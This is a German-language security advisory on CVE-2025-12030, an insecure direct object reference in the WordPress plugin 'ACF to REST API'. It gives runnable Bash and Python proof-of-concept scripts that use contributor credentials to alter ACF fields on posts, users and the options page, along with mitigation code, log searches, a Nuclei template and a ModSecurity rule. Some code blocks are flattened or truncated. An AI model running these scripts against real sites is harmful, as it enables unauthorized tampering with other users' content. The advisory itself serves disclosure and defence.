
ACF to REST API WordPress Plugin IDOR-Sicherheitslücke (CVE-2025-12030) - Sicherheitslücke, die es authentifizierten Benutzern mit Mitwirkender-Zugriff erlaubt, ACF-Felder an Objekten zu ändern, die ihnen nicht gehören.
Schlagwörter: CVE-2025-12030, ACF to REST API Schwachstelle, IDOR, WordPress-Sicherheit, authentifizierter Exploit, WordPress-Plugin-Schwachstelle, CWE-639, ACF-Feldänderung, Autorisierungsumgehung, WordPress CVE 2025, Advanced Custom Fields, REST API Sicherheit
ACF to REST API WordPress Plugin IDOR-Schwachstelle (CVE-2025-12030) – Sicherheitslücke, die authentifizierten Benutzern mit Contributor-Zugriff erlaubt, ACF-Felder an Objekten zu ändern, die ihnen nicht gehören.
Eine Schwachstelle aufgrund einer unsicheren direkten Objektreferenz (IDOR) wurde im ACF to REST API WordPress Plugin entdeckt, die es authentifizierten Angreifern mit minimalen Berechtigungen ermöglicht, ACF-Felder in der gesamten WordPress-Installation zu ändern.
Entdeckt von: Kai Aizen (SnailSploit)
Veröffentlicht: 6. Januar 2026
CVSS-Score: 4.3 (Mittel)
CWE: CWE-639 – Autorisierungsumgehung durch benutzergesteuerten Schlüssel
Plugin: ACF to REST API
Plugin-Slug: acf-to-rest-api
Angriffstyp: Unsichere direkte Objektreferenz (IDOR)
Erforderliche Berechtigungen: Contributor+ (authentifizierter Angriff)
Das ACF to REST API Plugin für WordPress ist in allen Versionen bis einschließlich 3.3.4 anfällig für eine unsichere direkte Objektreferenz. Dies liegt an unzureichenden Berechtigungsprüfungen in der Methode update_item_permissions_check(), die lediglich überprüft, ob der aktuelle Benutzer die Fähigkeit edit_posts besitzt, ohne objektspezifische Berechtigungen zu prüfen (z. B. edit_post($id), edit_user($id), manage_options).
Diese Schwachstelle ermöglicht es authentifizierten Angreifern mit Contributor-Zugriff und höher:
manage_optionsAlle Änderungen sind über die REST-API-Endpunkte /wp-json/acf/v3/{type}/{id} möglich.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Metrik | Wert |
|--------|-------|
| Angriffsvektor | Netzwerk (AV:N) |
| Angriffskomplexität | Niedrig (AC:L) |
| Erforderliche Privilegien | Niedrig (PR:L) |
| Benutzerinteraktion | Keine (UI:N) |
| Umfang | Unverändert (S:U) |
| Vertraulichkeit | Keine (C:N) |
| Integrität | Niedrig (I:L) |
| Verfügbarkeit | Keine (A:N) |
**CVSS v3.1 Aufschlüsselung:**
- **Angriffsvektor (AV):** Netzwerk – Die Schwachstelle kann aus der Ferne über ein Netzwerk ausgenutzt werden
- **Angriffskomplexität (AC):** Niedrig – Für die Ausnutzung sind keine besonderen Bedingungen erforderlich
- **Erforderliche Privilegien (PR):** Niedrig – Erfordert eine Authentifizierung auf Beitrags-Ebene
- **Benutzerinteraktion (UI):** Keine – Der Exploit funktioniert ohne Benutzerinteraktion
- **Umfang (S):** Unverändert – Die Schwachstelle betrifft nur die anfällige Komponente
- **Vertraulichkeit (C):** Keine – Keine Offenlegung von Informationen
- **Integrität (I):** Niedrig – Unberechtigte Änderung von ACF-Feldern
- **Verfügbarkeit (A):** Keine – Keine Auswirkung auf die Verfügbarkeit
## Technische Details
### Ursache der Schwachstelle
Die Schwachstelle besteht in der Methode `update_item_permissions_check()`, die eine unzureichende Autorisierung durchführt:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
Die ordnungsgemäße Implementierung sollte objektspezifische Berechtigungen überprüfen:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Verwundbare Endpunkte
| Endpoint | Ziel | Erforderliche Berechtigung (Sollte sein) |
|----------|------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Beiträge | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Seiten | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Benutzer | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Kommentare | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Begriffe | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Optionen | `manage_options` |
### Angriffsvektor```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
Die Schwachstelle kann über die WordPress REST-API von jedem authentifizierten Benutzer mit mindestens der Rolle „Contributor“ ausgenutzt werden.
⚠️ Nur für Bildungs- und autorisierte Testzwecke
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python PoC```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64
def exploit(target_url, username, app_password, target_id, target_type="posts"):
"""
Exploit CVE-2025-12030 IDOR vulnerability
Args:
target_url: WordPress site URL
username: Contributor-level username
app_password: Application password
target_id: ID of the object to modify (post, user, etc.)
target_type: Type of object (posts, pages, users, options, etc.)
"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
# Create Basic Auth header
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
print(f"[*] Target: {target_url}")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] Object Type: {target_type}")
print(f"[*] Object ID: {target_id}\n")
# Step 1: Read current ACF fields
print("[*] Step 1: Reading current ACF fields...")
try:
response = requests.get(api_endpoint, headers=headers, timeout=10)
if response.status_code == 200:
print(f"[+] Current ACF fields:")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Failed to read fields: {response.status_code}")
print(response.text)
except requests.RequestException as e:
print(f"[-] Error reading fields: {e}")
return
print("")
# Step 2: Attempt IDOR modification
print("[*] Step 2: Attempting unauthorized modification...")
payload = {
"fields": {
"idor_test": "CVE-2025-12030_IDOR_VERIFIED"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
result = response.json()
print(f"[+] Response:")
print(json.dumps(result, indent=2))
if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
print("[!] Contributor-level user was able to modify objects they don't own!")
else:
print("\n[+] Modification request accepted - verify manually")
else:
print(f"[-] Request failed with status: {response.status_code}")
print(f"Response: {response.text}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
def test_options_page(target_url, username, app_password):
"""Test modification of global options page (requires manage_options normally)"""
api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
headers = {
"Authorization": f"Basic {credentials}",
"Content-Type": "application/json"
}
print(f"\n[*] Testing Options Page IDOR...")
print(f"[*] Endpoint: {api_endpoint}")
print(f"[*] NOTE: This normally requires manage_options capability!\n")
payload = {
"fields": {
"site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
}
}
try:
response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
if response.status_code == 200:
print(f"[!] CRITICAL: Contributor modified global options page!")
print(json.dumps(response.json(), indent=2))
else:
print(f"[-] Options modification failed: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 5:
print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
print(f"\nSupported types: posts, pages, users, comments, options")
sys.exit(1)
target_url = sys.argv[1]
username = sys.argv[2]
app_password = sys.argv[3]
target_id = sys.argv[4]
target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
exploit(target_url, username, app_password, target_id, target_type)
# Also test options page access
if target_type != "options":
test_options_page(target_url, username, app_password)
Sofortiges Handeln erforderlich:
⚠️ Derzeit ist kein offizieller Patch für diese Sicherheitslücke verfügbar.
Fügen Sie in die functions.php Ihres Themes oder ein benutzerdefiniertes Plugin ein:
// Advanced Custom Fields ACF REST API Security Fix
// Add to functions.php or custom plugin
// Block unauthorized ACF field modifications via REST API
add_filter('acf/rest_api/field/update', function($field) {
// Only allow administrators to modify ACF fields
if (!current_user_can('administrator')) {
return false; // Deny the modification
}
return $field;
}, 10, 1);
// Additional security: Restrict ACF REST API endpoints
add_filter('rest_endpoints', function($endpoints) {
// Check if user has admin rights
if (!current_user_can('administrator')) {
// Remove ACF specific endpoints for non-admins
$acf_endpoints = [
'/acf/v3/posts',
'/acf/v3/pages',
'/acf/v3/users',
'/acf/v3/options',
'/acf/v3/custom'
];
foreach ($acf_endpoints as $endpoint) {
if (isset($endpoints[$endpoint])) {
unset($endpoints[$endpoint]);
}
}
}
return $endpoints;
}, 10, 1);
``````php
<?php
/**
* Disable ACF to REST API write endpoints (CVE-2025-12030 mitigation)
*/
add_filter('acf/rest_api/item_permissions/update', function($permission, $request, $type) {
// Only allow administrators to modify via REST API
if (!current_user_can('manage_options')) {
return new WP_Error(
'rest_forbidden',
__('You do not have permission to modify ACF fields via REST API.'),
array('status' => 403)
);
}
return $permission;
}, 10, 3);
Wenn Sie das Plugin forken oder patchen, implementieren Sie eine ordnungsgemäße objektspezifische Autorisierung:```php
get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## Erkennung ### Protokollanalyse Suche nach verdächtiger REST-API-Aktivität:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### WordPress Plugin-Überprüfung```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### Sicherheits-Scanner-Regeln **Nuclei Template:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### Web Application Firewall Regeln **ModSecurity Regel:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## Zeitleiste - **6. Januar 2026** - Sicherheitslücke öffentlich bekannt gegeben - **6. Januar 2026** - CVE-2025-12030 zugewiesen - **Aktuell** - ⚠️ Kein Patch verfügbar ## Referenzen - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 – Umgehung der Autorisierung durch benutzergesteuerten Schlüssel](https://cwe.mitre.org/data/definitions/639.html) - [OWASP – Unsichere direkte Objektreferenz](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## Danksagungen **Forscher:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **Offenlegungsprozess:** Koordiniert über das Wordfence Bug Bounty Program ## Haftungsausschluss Diese Informationen werden ausschließlich zu Sicherheitsforschungs- und Verteidigungszwecken bereitgestellt. Jede Ausnutzung dieser Sicherheitslücke für böswillige Zwecke ist illegal und unethisch. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören. ## Kontakt Bei Fragen oder für zusätzliche Informationen zu dieser Sicherheitslücke: - **E-Mail:** [[email protected]](mailto:[email protected]) - **Website:** [snailsploit.com](https://snailsploit.com) - **Organisation:** SnailSploit Security Research --- *Zuletzt aktualisiert: 6. Januar 2026* --- ## 📚 Dokumentation & Autor Die vollständige Ausarbeitung, Methodik und verwandte Forschung dieses Projekts befinden sich unter: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** Erstellt von **Kai Aizen** — unabhängiger offensiver Sicherheitsforscher. [snailsploit.com](https://snailsploit.com) · [Research](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *Gleicher Angriff. Anderes Substrat.*